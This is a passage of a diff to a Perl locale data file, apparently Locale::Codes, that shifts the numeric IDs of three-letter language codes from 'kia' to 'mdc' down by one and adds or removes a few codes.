          ],
       q(kia) => [
-         q(3352),
+         q(3351),
          q(0),
          ],
       q(kib) => [
-         q(3353),
+         q(3352),
          q(0),
          ],
       q(kic) => [
-         q(3354),
+         q(3353),
          q(0),
          ],
       q(kid) => [
-         q(3355),
+         q(3354),
          q(0),
          ],
       q(kie) => [
-         q(3356),
+         q(3355),
          q(0),
          ],
       q(kif) => [
-         q(3357),
+         q(3356),
          q(0),
          ],
       q(kig) => [
-         q(3358),
+         q(3357),
          q(0),
          ],
       q(kih) => [
-         q(3359),
+         q(3358),
          q(0),
          ],
       q(kii) => [
-         q(3360),
+         q(3359),
          q(0),
          ],
       q(kij) => [
-         q(3361),
+         q(3360),
          q(0),
          ],
       q(kik) => [
-         q(0225),
+         q(0224),
          q(0),
          ],
       q(kil) => [
-         q(3362),
+         q(3361),
          q(0),
          ],
       q(kim) => [
-         q(3363),
+         q(3362),
          q(0),
          ],
       q(kin) => [
-         q(0226),
+         q(0225),
          q(0),
          ],
       q(kio) => [
-         q(3364),
+         q(3363),
          q(0),
          ],
       q(kip) => [
-         q(3365),
+         q(3364),
          q(0),
          ],
       q(kiq) => [
-         q(3366),
+         q(3365),
          q(0),
          ],
       q(kir) => [
-         q(0227),
+         q(0226),
          q(0),
          ],
       q(kis) => [
-         q(3367),
+         q(3366),
          q(0),
          ],
       q(kit) => [
-         q(3368),
+         q(3367),
          q(0),
          ],
       q(kiu) => [
-         q(3369),
+         q(3368),
          q(0),
          ],
       q(kiv) => [
-         q(3370),
+         q(3369),
          q(0),
          ],
       q(kiw) => [
-         q(3371),
+         q(3370),
          q(0),
          ],
       q(kix) => [
-         q(3372),
+         q(3371),
          q(0),
          ],
       q(kiy) => [
-         q(3373),
+         q(3372),
          q(0),
          ],
       q(kiz) => [
-         q(3374),
+         q(3373),
          q(0),
          ],
       q(kja) => [
-         q(3375),
+         q(3374),
          q(0),
          ],
       q(kjb) => [
-         q(3376),
+         q(3375),
          q(0),
          ],
       q(kjc) => [
-         q(3377),
+         q(3376),
          q(0),
          ],
       q(kjd) => [
-         q(3378),
+         q(3377),
          q(0),
          ],
       q(kje) => [
-         q(3379),
+         q(3378),
          q(0),
          ],
       q(kjf) => [
-         q(3380),
+         q(3379),
          q(0),
          ],
       q(kjg) => [
-         q(3381),
+         q(3380),
          q(0),
          ],
       q(kjh) => [
-         q(3382),
+         q(3381),
          q(0),
          ],
       q(kji) => [
-         q(3383),
+         q(3382),
          q(0),
          ],
       q(kjj) => [
-         q(3384),
+         q(3383),
          q(0),
          ],
       q(kjk) => [
-         q(3385),
+         q(3384),
          q(0),
          ],
       q(kjl) => [
-         q(3386),
+         q(3385),
          q(0),
          ],
       q(kjm) => [
-         q(3387),
+         q(3386),
          q(0),
          ],
       q(kjn) => [
-         q(3388),
+         q(3387),
          q(0),
          ],
       q(kjo) => [
-         q(3389),
+         q(3388),
          q(0),
          ],
       q(kjp) => [
-         q(3390),
+         q(3389),
          q(0),
          ],
       q(kjq) => [
-         q(3391),
+         q(3390),
          q(0),
          ],
       q(kjr) => [
-         q(3392),
+         q(3391),
          q(0),
          ],
       q(kjs) => [
-         q(3393),
+         q(3392),
          q(0),
          ],
       q(kjt) => [
-         q(3394),
+         q(3393),
          q(0),
          ],
       q(kju) => [
-         q(3395),
+         q(3394),
          q(0),
          ],
       q(kjv) => [
-         q(3396),
+         q(3395),
          q(0),
          ],
       q(kjx) => [
-         q(3397),
+         q(3396),
          q(0),
          ],
       q(kjy) => [
-         q(3398),
+         q(3397),
          q(0),
          ],
       q(kjz) => [
-         q(3399),
+         q(3398),
          q(0),
          ],
       q(kka) => [
-         q(3400),
+         q(3399),
          q(0),
          ],
       q(kkb) => [
-         q(3401),
+         q(3400),
          q(0),
          ],
       q(kkc) => [
-         q(3402),
+         q(3401),
          q(0),
          ],
       q(kkd) => [
-         q(3403),
+         q(3402),
          q(0),
          ],
       q(kke) => [
-         q(3404),
+         q(3403),
          q(0),
          ],
       q(kkf) => [
-         q(3405),
+         q(3404),
          q(0),
          ],
       q(kkg) => [
-         q(3406),
+         q(3405),
          q(0),
          ],
       q(kkh) => [
-         q(3407),
+         q(3406),
          q(0),
          ],
       q(kki) => [
-         q(3408),
+         q(3407),
          q(0),
          ],
       q(kkj) => [
-         q(3409),
+         q(3408),
          q(0),
          ],
       q(kkk) => [
-         q(3410),
+         q(3409),
          q(0),
          ],
       q(kkl) => [
-         q(3411),
+         q(3410),
          q(0),
          ],
       q(kkm) => [
-         q(3412),
+         q(3411),
          q(0),
          ],
       q(kkn) => [
-         q(3413),
+         q(3412),
          q(0),
          ],
       q(kko) => [
-         q(3414),
+         q(3413),
          q(0),
          ],
       q(kkp) => [
-         q(3415),
+         q(3414),
          q(0),
          ],
       q(kkq) => [
-         q(3416),
+         q(3415),
          q(0),
          ],
       q(kkr) => [
-         q(3417),
+         q(3416),
          q(0),
          ],
       q(kks) => [
-         q(3418),
+         q(3417),
          q(0),
          ],
       q(kkt) => [
-         q(3419),
+         q(3418),
          q(0),
          ],
       q(kku) => [
-         q(3420),
+         q(3419),
          q(0),
          ],
       q(kkv) => [
-         q(3421),
+         q(3420),
          q(0),
          ],
       q(kkw) => [
-         q(3422),
+         q(3421),
          q(0),
          ],
       q(kkx) => [
-         q(3423),
+         q(3422),
          q(0),
          ],
       q(kky) => [
-         q(3424),
+         q(3423),
          q(0),
          ],
       q(kkz) => [
-         q(3425),
+         q(3424),
          q(0),
          ],
       q(kla) => [
-         q(3426),
+         q(3425),
          q(0),
          ],
       q(klb) => [
-         q(3427),
+         q(3426),
          q(0),
          ],
       q(klc) => [
-         q(3428),
+         q(3427),
          q(0),
          ],
       q(kld) => [
-         q(3429),
+         q(3428),
          q(0),
          ],
       q(kle) => [
-         q(3430),
+         q(3429),
          q(0),
          ],
       q(klf) => [
-         q(3431),
+         q(3430),
          q(0),
          ],
       q(klg) => [
-         q(3432),
+         q(3431),
          q(0),
          ],
       q(klh) => [
-         q(3433),
+         q(3432),
          q(0),
          ],
       q(kli) => [
-         q(3434),
+         q(3433),
          q(0),
          ],
       q(klj) => [
-         q(3435),
+         q(3434),
          q(0),
          ],
       q(klk) => [
-         q(3436),
+         q(3435),
          q(0),
          ],
       q(kll) => [
-         q(3437),
+         q(3436),
          q(0),
          ],
       q(klm) => [
-         q(3438),
+         q(3437),
          q(0),
          ],
       q(kln) => [
-         q(3439),
+         q(3438),
          q(0),
          ],
       q(klo) => [
-         q(3440),
+         q(3439),
          q(0),
          ],
       q(klp) => [
-         q(3441),
+         q(3440),
          q(0),
          ],
       q(klq) => [
-         q(3442),
+         q(3441),
          q(0),
          ],
       q(klr) => [
-         q(3443),
+         q(3442),
          q(0),
          ],
       q(kls) => [
-         q(3444),
+         q(3443),
          q(0),
          ],
       q(klt) => [
-         q(3445),
+         q(3444),
          q(0),
          ],
       q(klu) => [
-         q(3446),
+         q(3445),
          q(0),
          ],
       q(klv) => [
-         q(3447),
+         q(3446),
          q(0),
          ],
       q(klw) => [
-         q(3448),
+         q(3447),
          q(0),
          ],
       q(klx) => [
-         q(3449),
+         q(3448),
          q(0),
          ],
       q(kly) => [
-         q(3450),
+         q(3449),
          q(0),
          ],
       q(klz) => [
-         q(3451),
+         q(3450),
          q(0),
          ],
       q(kma) => [
-         q(3452),
+         q(3451),
          q(0),
          ],
       q(kmb) => [
-         q(0228),
+         q(0227),
          q(0),
          ],
       q(kmc) => [
-         q(3453),
+         q(3452),
          q(0),
          ],
       q(kmd) => [
-         q(3454),
+         q(3453),
          q(0),
          ],
       q(kme) => [
-         q(3455),
+         q(3454),
          q(0),
          ],
       q(kmf) => [
-         q(3456),
+         q(3455),
          q(0),
          ],
       q(kmg) => [
-         q(3457),
+         q(3456),
          q(0),
          ],
       q(kmh) => [
-         q(3458),
+         q(3457),
          q(0),
          ],
       q(kmi) => [
-         q(3459),
+         q(3458),
          q(0),
          ],
       q(kmj) => [
-         q(3460),
+         q(3459),
          q(0),
          ],
       q(kmk) => [
-         q(3461),
+         q(3460),
          q(0),
          ],
       q(kml) => [
-         q(3462),
+         q(3461),
          q(0),
          ],
       q(kmm) => [
-         q(3463),
+         q(3462),
          q(0),
          ],
       q(kmn) => [
-         q(3464),
+         q(3463),
          q(0),
          ],
       q(kmo) => [
-         q(3465),
+         q(3464),
          q(0),
          ],
       q(kmp) => [
-         q(3466),
+         q(3465),
          q(0),
          ],
       q(kmq) => [
-         q(3467),
+         q(3466),
          q(0),
          ],
       q(kmr) => [
-         q(3468),
+         q(3467),
          q(0),
          ],
       q(kms) => [
-         q(3469),
+         q(3468),
          q(0),
          ],
       q(kmt) => [
-         q(3470),
+         q(3469),
          q(0),
          ],
       q(kmu) => [
-         q(3471),
+         q(3470),
          q(0),
          ],
       q(kmv) => [
-         q(3472),
+         q(3471),
          q(0),
          ],
       q(kmw) => [
-         q(3473),
+         q(3472),
          q(0),
          ],
       q(kmx) => [
-         q(3474),
+         q(3473),
          q(0),
          ],
       q(kmy) => [
-         q(3475),
+         q(3474),
          q(0),
          ],
       q(kmz) => [
-         q(3476),
+         q(3475),
          q(0),
          ],
       q(kna) => [
-         q(3477),
+         q(3476),
          q(0),
          ],
       q(knb) => [
-         q(3478),
+         q(3477),
          q(0),
          ],
       q(knc) => [
-         q(3479),
+         q(3478),
          q(0),
          ],
       q(knd) => [
-         q(3480),
+         q(3479),
          q(0),
          ],
       q(kne) => [
-         q(3481),
+         q(3480),
          q(0),
          ],
       q(knf) => [
-         q(3482),
+         q(3481),
          q(0),
          ],
       q(kng) => [
-         q(3483),
+         q(3482),
          q(0),
          ],
       q(kni) => [
-         q(3484),
+         q(3483),
          q(0),
          ],
       q(knj) => [
-         q(3485),
+         q(3484),
          q(0),
          ],
       q(knk) => [
-         q(3486),
+         q(3485),
          q(0),
          ],
       q(knl) => [
-         q(3487),
+         q(3486),
          q(0),
          ],
       q(knm) => [
-         q(3488),
+         q(3487),
          q(0),
          ],
       q(knn) => [
-         q(3489),
+         q(3488),
          q(0),
          ],
       q(kno) => [
-         q(3490),
+         q(3489),
          q(0),
          ],
       q(knp) => [
-         q(3491),
+         q(3490),
          q(0),
          ],
       q(knq) => [
-         q(3492),
+         q(3491),
          q(0),
          ],
       q(knr) => [
-         q(3493),
+         q(3492),
          q(0),
          ],
       q(kns) => [
-         q(3494),
+         q(3493),
          q(0),
          ],
       q(knt) => [
-         q(3495),
+         q(3494),
          q(0),
          ],
       q(knu) => [
-         q(3496),
+         q(3495),
          q(0),
          ],
       q(knv) => [
-         q(3497),
+         q(3496),
          q(0),
          ],
       q(knw) => [
-         q(3498),
+         q(3497),
          q(0),
          ],
       q(knx) => [
-         q(3499),
+         q(3498),
          q(0),
          ],
       q(kny) => [
-         q(3500),
+         q(3499),
          q(0),
          ],
       q(knz) => [
-         q(3501),
+         q(3500),
          q(0),
          ],
       q(koa) => [
-         q(3502),
+         q(3501),
          q(0),
          ],
       q(koc) => [
-         q(3503),
+         q(3502),
          q(0),
          ],
       q(kod) => [
-         q(3504),
+         q(3503),
          q(0),
          ],
       q(koe) => [
-         q(3505),
+         q(3504),
          q(0),
          ],
       q(kof) => [
-         q(3506),
+         q(3505),
          q(0),
          ],
       q(kog) => [
-         q(3507),
+         q(3506),
          q(0),
          ],
       q(koh) => [
-         q(3508),
+         q(3507),
          q(0),
          ],
       q(koi) => [
-         q(3509),
+         q(3508),
          q(0),
          ],
       q(kok) => [
-         q(0229),
+         q(0228),
          q(1),
          ],
       q(kol) => [
-         q(3510),
+         q(3509),
          q(0),
          ],
       q(kom) => [
-         q(0230),
+         q(0229),
          q(0),
          ],
       q(kon) => [
-         q(0231),
+         q(0230),
          q(0),
          ],
       q(koo) => [
-         q(3511),
+         q(3510),
          q(0),
          ],
       q(kop) => [
-         q(3512),
+         q(3511),
          q(0),
          ],
       q(koq) => [
-         q(3513),
+         q(3512),
          q(0),
          ],
       q(kor) => [
-         q(0232),
+         q(0231),
          q(0),
          ],
       q(kos) => [
-         q(0233),
+         q(0232),
          q(0),
          ],
       q(kot) => [
-         q(3514),
+         q(3513),
          q(0),
          ],
       q(kou) => [
-         q(3515),
+         q(3514),
          q(0),
          ],
       q(kov) => [
-         q(3516),
+         q(3515),
          q(0),
          ],
       q(kow) => [
-         q(3517),
+         q(3516),
          q(0),
          ],
       q(koy) => [
-         q(3518),
+         q(3517),
          q(0),
          ],
       q(koz) => [
-         q(3519),
+         q(3518),
          q(0),
          ],
       q(kpa) => [
-         q(3520),
+         q(3519),
          q(0),
          ],
       q(kpb) => [
-         q(3521),
+         q(3520),
          q(0),
          ],
       q(kpc) => [
-         q(3522),
+         q(3521),
          q(0),
          ],
       q(kpd) => [
-         q(3523),
+         q(3522),
          q(0),
          ],
       q(kpe) => [
-         q(0234),
+         q(0233),
          q(0),
          ],
       q(kpf) => [
-         q(3524),
+         q(3523),
          q(0),
          ],
       q(kpg) => [
-         q(3525),
+         q(3524),
          q(0),
          ],
       q(kph) => [
-         q(3526),
+         q(3525),
          q(0),
          ],
       q(kpi) => [
-         q(3527),
+         q(3526),
          q(0),
          ],
       q(kpj) => [
-         q(3528),
+         q(3527),
          q(0),
          ],
       q(kpk) => [
-         q(3529),
+         q(3528),
          q(0),
          ],
       q(kpl) => [
-         q(3530),
+         q(3529),
          q(0),
          ],
       q(kpm) => [
-         q(3531),
+         q(3530),
          q(0),
          ],
       q(kpn) => [
-         q(3532),
+         q(3531),
          q(0),
          ],
       q(kpo) => [
-         q(3533),
+         q(3532),
          q(0),
          ],
       q(kpq) => [
-         q(3534),
+         q(3533),
          q(0),
          ],
       q(kpr) => [
-         q(3535),
+         q(3534),
          q(0),
          ],
       q(kps) => [
-         q(3536),
+         q(3535),
          q(0),
          ],
       q(kpt) => [
-         q(3537),
+         q(3536),
          q(0),
          ],
       q(kpu) => [
-         q(3538),
+         q(3537),
          q(0),
          ],
       q(kpv) => [
-         q(3539),
+         q(3538),
          q(0),
          ],
       q(kpw) => [
-         q(3540),
+         q(3539),
          q(0),
          ],
       q(kpx) => [
-         q(3541),
+         q(3540),
          q(0),
          ],
       q(kpy) => [
-         q(3542),
+         q(3541),
          q(0),
          ],
       q(kpz) => [
-         q(3543),
+         q(3542),
          q(0),
          ],
       q(kqa) => [
-         q(3544),
+         q(3543),
          q(0),
          ],
       q(kqb) => [
-         q(3545),
+         q(3544),
          q(0),
          ],
       q(kqc) => [
-         q(3546),
+         q(3545),
          q(0),
          ],
       q(kqd) => [
-         q(3547),
+         q(3546),
          q(0),
          ],
       q(kqe) => [
-         q(3548),
+         q(3547),
          q(0),
          ],
       q(kqf) => [
-         q(3549),
+         q(3548),
          q(0),
          ],
       q(kqg) => [
-         q(3550),
+         q(3549),
          q(0),
          ],
       q(kqh) => [
-         q(3551),
+         q(3550),
          q(0),
          ],
       q(kqi) => [
-         q(3552),
+         q(3551),
          q(0),
          ],
       q(kqj) => [
-         q(3553),
+         q(3552),
          q(0),
          ],
       q(kqk) => [
-         q(3554),
+         q(3553),
          q(0),
          ],
       q(kql) => [
-         q(3555),
+         q(3554),
          q(0),
          ],
       q(kqm) => [
-         q(3556),
+         q(3555),
          q(0),
          ],
       q(kqn) => [
-         q(3557),
+         q(3556),
          q(0),
          ],
       q(kqo) => [
-         q(3558),
+         q(3557),
          q(0),
          ],
       q(kqp) => [
-         q(3559),
+         q(3558),
          q(0),
          ],
       q(kqq) => [
-         q(3560),
+         q(3559),
          q(0),
          ],
       q(kqr) => [
-         q(3561),
+         q(3560),
          q(0),
          ],
       q(kqs) => [
-         q(3562),
+         q(3561),
          q(0),
          ],
       q(kqt) => [
-         q(3563),
+         q(3562),
          q(0),
          ],
       q(kqu) => [
-         q(3564),
+         q(3563),
          q(0),
          ],
       q(kqv) => [
-         q(3565),
+         q(3564),
          q(0),
          ],
       q(kqw) => [
-         q(3566),
+         q(3565),
          q(0),
          ],
       q(kqx) => [
-         q(3567),
+         q(3566),
          q(0),
          ],
       q(kqy) => [
-         q(3568),
+         q(3567),
          q(0),
          ],
       q(kqz) => [
-         q(3569),
+         q(3568),
          q(0),
          ],
       q(kra) => [
-         q(3570),
+         q(3569),
          q(0),
          ],
       q(krb) => [
-         q(3571),
+         q(3570),
          q(0),
          ],
       q(krc) => [
-         q(0235),
+         q(0234),
          q(0),
          ],
       q(krd) => [
-         q(3572),
+         q(3571),
          q(0),
          ],
       q(kre) => [
-         q(3573),
+         q(3572),
          q(0),
          ],
       q(krf) => [
-         q(3574),
+         q(3573),
          q(0),
          ],
       q(krh) => [
-         q(3575),
+         q(3574),
          q(0),
          ],
       q(kri) => [
-         q(3576),
+         q(3575),
          q(0),
          ],
       q(krj) => [
-         q(3577),
+         q(3576),
          q(0),
          ],
       q(krk) => [
-         q(3578),
+         q(3577),
          q(0),
          ],
       q(krl) => [
-         q(0236),
+         q(0235),
+         q(0),
+         ],
+      q(krm) => [
+         q(3578),
          q(0),
          ],
       q(krn) => [
@@ -71529,7 +71463,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(kro) => [
-         q(0237),
+         q(0236),
          q(0),
          ],
       q(krp) => [
@@ -71549,7 +71483,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(kru) => [
-         q(0238),
+         q(0237),
          q(0),
          ],
       q(krv) => [
@@ -71777,7 +71711,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(kua) => [
-         q(0239),
+         q(0238),
          q(0),
          ],
       q(kub) => [
@@ -71825,7 +71759,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(kum) => [
-         q(0240),
+         q(0239),
          q(0),
          ],
       q(kun) => [
@@ -71841,11 +71775,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(kuq) => [
-         q(3317),
+         q(3316),
          q(0),
          ],
       q(kur) => [
-         q(0241),
+         q(0240),
          q(0),
          ],
       q(kus) => [
@@ -71853,7 +71787,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(kut) => [
-         q(0242),
+         q(0241),
          q(0),
          ],
       q(kuu) => [
@@ -72385,7 +72319,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(lad) => [
-         q(0243),
+         q(0242),
          q(0),
          ],
       q(lae) => [
@@ -72401,7 +72335,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(lah) => [
-         q(0244),
+         q(0243),
          q(0),
          ],
       q(lai) => [
@@ -72421,7 +72355,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(lam) => [
-         q(0245),
+         q(0244),
          q(0),
          ],
       q(lan) => [
@@ -72429,7 +72363,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(lao) => [
-         q(0246),
+         q(0245),
          q(0),
          ],
       q(lap) => [
@@ -72449,7 +72383,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(lat) => [
-         q(0247),
+         q(0246),
          q(0),
          ],
       q(lau) => [
@@ -72457,7 +72391,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(lav) => [
-         q(0248),
+         q(0247),
          q(0),
          ],
       q(law) => [
@@ -72761,7 +72695,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(lez) => [
-         q(0249),
+         q(0248),
          q(0),
          ],
       q(lfa) => [
@@ -72913,11 +72847,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(lim) => [
-         q(0250),
+         q(0249),
          q(0),
          ],
       q(lin) => [
-         q(0251),
+         q(0250),
          q(0),
          ],
       q(lio) => [
@@ -72941,7 +72875,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(lit) => [
-         q(0252),
+         q(0251),
          q(0),
          ],
       q(liu) => [
@@ -73337,7 +73271,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(lol) => [
-         q(0253),
+         q(0252),
          q(0),
          ],
       q(lom) => [
@@ -73393,7 +73327,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(loz) => [
-         q(0254),
+         q(0253),
          q(0),
          ],
       q(lpa) => [
@@ -73536,7587 +73470,7587 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(4062),
          q(0),
          ],
-      q(lth) => [
-         q(4063),
-         q(0),
-         ],
       q(lti) => [
-         q(4064),
+         q(4063),
          q(0),
          ],
       q(ltn) => [
-         q(4065),
+         q(4064),
          q(0),
          ],
       q(lto) => [
-         q(4066),
+         q(4065),
          q(0),
          ],
       q(lts) => [
-         q(4067),
+         q(4066),
          q(0),
          ],
       q(ltu) => [
-         q(4068),
+         q(4067),
          q(0),
          ],
       q(ltz) => [
-         q(0255),
+         q(0254),
          q(0),
          ],
       q(lua) => [
-         q(0256),
+         q(0255),
          q(0),
          ],
       q(lub) => [
-         q(0257),
+         q(0256),
          q(0),
          ],
       q(luc) => [
-         q(4069),
+         q(4068),
          q(0),
          ],
       q(lud) => [
-         q(4070),
+         q(4069),
          q(0),
          ],
       q(lue) => [
-         q(4071),
+         q(4070),
          q(0),
          ],
       q(luf) => [
-         q(4072),
+         q(4071),
          q(0),
          ],
       q(lug) => [
-         q(0258),
+         q(0257),
          q(0),
          ],
       q(lui) => [
-         q(0259),
+         q(0258),
          q(0),
          ],
       q(luj) => [
-         q(4073),
+         q(4072),
          q(0),
          ],
       q(luk) => [
-         q(4074),
+         q(4073),
          q(0),
          ],
       q(lul) => [
-         q(4075),
+         q(4074),
          q(0),
          ],
       q(lum) => [
-         q(4076),
+         q(4075),
          q(0),
          ],
       q(lun) => [
-         q(0260),
+         q(0259),
          q(0),
          ],
       q(luo) => [
-         q(0261),
+         q(0260),
          q(0),
          ],
       q(lup) => [
-         q(4077),
+         q(4076),
          q(0),
          ],
       q(luq) => [
-         q(4078),
+         q(4077),
          q(0),
          ],
       q(lur) => [
-         q(4079),
+         q(4078),
          q(0),
          ],
       q(lus) => [
-         q(0262),
+         q(0261),
          q(0),
          ],
       q(lut) => [
-         q(4080),
+         q(4079),
          q(0),
          ],
       q(luu) => [
-         q(4081),
+         q(4080),
          q(0),
          ],
       q(luv) => [
-         q(4082),
+         q(4081),
          q(0),
          ],
       q(luw) => [
-         q(4083),
+         q(4082),
          q(0),
          ],
       q(luy) => [
-         q(4084),
+         q(4083),
          q(0),
          ],
       q(luz) => [
-         q(4085),
+         q(4084),
          q(0),
          ],
       q(lva) => [
-         q(4086),
+         q(4085),
          q(0),
          ],
       q(lvk) => [
-         q(4087),
+         q(4086),
          q(0),
          ],
       q(lvs) => [
-         q(4088),
+         q(4087),
          q(0),
          ],
       q(lvu) => [
-         q(4089),
+         q(4088),
          q(0),
          ],
       q(lwa) => [
-         q(4090),
+         q(4089),
          q(0),
          ],
       q(lwe) => [
-         q(4091),
+         q(4090),
          q(0),
          ],
       q(lwg) => [
-         q(4092),
+         q(4091),
          q(0),
          ],
       q(lwh) => [
-         q(4093),
+         q(4092),
          q(0),
          ],
       q(lwl) => [
-         q(4094),
+         q(4093),
          q(0),
          ],
       q(lwm) => [
-         q(4095),
+         q(4094),
          q(0),
          ],
       q(lwo) => [
-         q(4096),
+         q(4095),
          q(0),
          ],
       q(lwt) => [
-         q(4097),
+         q(4096),
          q(0),
          ],
       q(lwu) => [
-         q(4098),
+         q(4097),
          q(0),
          ],
       q(lww) => [
-         q(4099),
+         q(4098),
          q(0),
          ],
       q(lya) => [
-         q(4100),
+         q(4099),
          q(0),
          ],
       q(lyg) => [
-         q(4101),
+         q(4100),
          q(0),
          ],
       q(lyn) => [
-         q(4102),
+         q(4101),
          q(0),
          ],
       q(lzh) => [
-         q(4103),
+         q(4102),
          q(0),
          ],
       q(lzl) => [
-         q(4104),
+         q(4103),
          q(0),
          ],
       q(lzn) => [
-         q(4105),
+         q(4104),
          q(0),
          ],
       q(lzz) => [
-         q(4106),
+         q(4105),
          q(0),
          ],
       q(maa) => [
-         q(4107),
+         q(4106),
          q(0),
          ],
       q(mab) => [
-         q(4108),
+         q(4107),
          q(0),
          ],
       q(mac) => [
-         q(0263),
+         q(0262),
          q(0),
          ],
       q(mad) => [
-         q(0264),
+         q(0263),
          q(0),
          ],
       q(mae) => [
-         q(4109),
+         q(4108),
          q(0),
          ],
       q(maf) => [
-         q(4110),
+         q(4109),
          q(0),
          ],
       q(mag) => [
-         q(0265),
+         q(0264),
          q(0),
          ],
       q(mah) => [
-         q(0266),
+         q(0265),
          q(0),
          ],
       q(mai) => [
-         q(0267),
+         q(0266),
          q(0),
          ],
       q(maj) => [
-         q(4111),
+         q(4110),
          q(0),
          ],
       q(mak) => [
-         q(0268),
+         q(0267),
          q(0),
          ],
       q(mal) => [
-         q(0269),
+         q(0268),
          q(0),
          ],
       q(mam) => [
-         q(4112),
+         q(4111),
          q(0),
          ],
       q(man) => [
-         q(0270),
+         q(0269),
          q(0),
          ],
       q(mao) => [
-         q(0271),
+         q(0270),
          q(0),
          ],
       q(map) => [
-         q(0272),
+         q(0271),
          q(0),
          ],
       q(maq) => [
-         q(4113),
+         q(4112),
          q(0),
          ],
       q(mar) => [
-         q(0273),
+         q(0272),
          q(0),
          ],
       q(mas) => [
-         q(0274),
+         q(0273),
          q(0),
          ],
       q(mat) => [
-         q(4114),
+         q(4113),
          q(0),
          ],
       q(mau) => [
-         q(4115),
+         q(4114),
          q(0),
          ],
       q(mav) => [
-         q(4116),
+         q(4115),
          q(0),
          ],
       q(maw) => [
-         q(4117),
+         q(4116),
          q(0),
          ],
       q(max) => [
-         q(4118),
+         q(4117),
          q(0),
          ],
       q(may) => [
-         q(0275),
+         q(0274),
          q(0),
          ],
       q(maz) => [
-         q(4119),
+         q(4118),
          q(0),
          ],
       q(mba) => [
-         q(4120),
+         q(4119),
          q(0),
          ],
       q(mbb) => [
-         q(4121),
+         q(4120),
          q(0),
          ],
       q(mbc) => [
-         q(4122),
+         q(4121),
          q(0),
          ],
       q(mbd) => [
-         q(4123),
+         q(4122),
          q(0),
          ],
       q(mbe) => [
-         q(4124),
+         q(4123),
          q(0),
          ],
       q(mbf) => [
-         q(4125),
+         q(4124),
          q(0),
          ],
       q(mbh) => [
-         q(4126),
+         q(4125),
          q(0),
          ],
       q(mbi) => [
-         q(4127),
+         q(4126),
          q(0),
          ],
       q(mbj) => [
-         q(4128),
+         q(4127),
          q(0),
          ],
       q(mbk) => [
-         q(4129),
+         q(4128),
          q(0),
          ],
       q(mbl) => [
-         q(4130),
+         q(4129),
          q(0),
          ],
       q(mbm) => [
-         q(4131),
+         q(4130),
          q(0),
          ],
       q(mbn) => [
-         q(4132),
+         q(4131),
          q(0),
          ],
       q(mbo) => [
-         q(4133),
+         q(4132),
          q(0),
          ],
       q(mbp) => [
-         q(4134),
+         q(4133),
          q(0),
          ],
       q(mbq) => [
-         q(4135),
+         q(4134),
          q(0),
          ],
       q(mbr) => [
-         q(4136),
+         q(4135),
          q(0),
          ],
       q(mbs) => [
-         q(4137),
+         q(4136),
          q(0),
          ],
       q(mbt) => [
-         q(4138),
+         q(4137),
          q(0),
          ],
       q(mbu) => [
-         q(4139),
+         q(4138),
          q(0),
          ],
       q(mbv) => [
-         q(4140),
+         q(4139),
          q(0),
          ],
       q(mbw) => [
-         q(4141),
+         q(4140),
          q(0),
          ],
       q(mbx) => [
-         q(4142),
+         q(4141),
          q(0),
          ],
       q(mby) => [
-         q(4143),
+         q(4142),
          q(0),
          ],
       q(mbz) => [
-         q(4144),
+         q(4143),
          q(0),
          ],
       q(mca) => [
-         q(4145),
+         q(4144),
          q(0),
          ],
       q(mcb) => [
-         q(4146),
+         q(4145),
          q(0),
          ],
       q(mcc) => [
-         q(4147),
+         q(4146),
          q(0),
          ],
       q(mcd) => [
-         q(4148),
+         q(4147),
          q(0),
          ],
       q(mce) => [
-         q(4149),
+         q(4148),
          q(0),
          ],
       q(mcf) => [
-         q(4150),
+         q(4149),
          q(0),
          ],
       q(mcg) => [
-         q(4151),
+         q(4150),
          q(0),
          ],
       q(mch) => [
-         q(4152),
+         q(4151),
          q(0),
          ],
       q(mci) => [
-         q(4153),
+         q(4152),
          q(0),
          ],
       q(mcj) => [
-         q(4154),
+         q(4153),
          q(0),
          ],
       q(mck) => [
-         q(4155),
+         q(4154),
          q(0),
          ],
       q(mcl) => [
-         q(4156),
+         q(4155),
          q(0),
          ],
       q(mcm) => [
-         q(4157),
+         q(4156),
          q(0),
          ],
       q(mcn) => [
-         q(4158),
+         q(4157),
          q(0),
          ],
       q(mco) => [
-         q(4159),
+         q(4158),
          q(0),
          ],
       q(mcp) => [
-         q(4160),
+         q(4159),
          q(0),
          ],
       q(mcq) => [
-         q(4161),
+         q(4160),
          q(0),
          ],
       q(mcr) => [
-         q(4162),
+         q(4161),
          q(0),
          ],
       q(mcs) => [
-         q(4163),
+         q(4162),
          q(0),
          ],
       q(mct) => [
-         q(4164),
+         q(4163),
          q(0),
          ],
       q(mcu) => [
-         q(4165),
+         q(4164),
          q(0),
          ],
       q(mcv) => [
-         q(4166),
+         q(4165),
          q(0),
          ],
       q(mcw) => [
-         q(4167),
+         q(4166),
          q(0),
          ],
       q(mcx) => [
-         q(4168),
+         q(4167),
          q(0),
          ],
       q(mcy) => [
-         q(4169),
+         q(4168),
          q(0),
          ],
       q(mcz) => [
-         q(4170),
+         q(4169),
          q(0),
          ],
       q(mda) => [
-         q(4171),
+         q(4170),
          q(0),
          ],
       q(mdb) => [
-         q(4172),
+         q(4171),
          q(0),
          ],
       q(mdc) => [
-         q(4173),
+         q(4172),
          q(0),
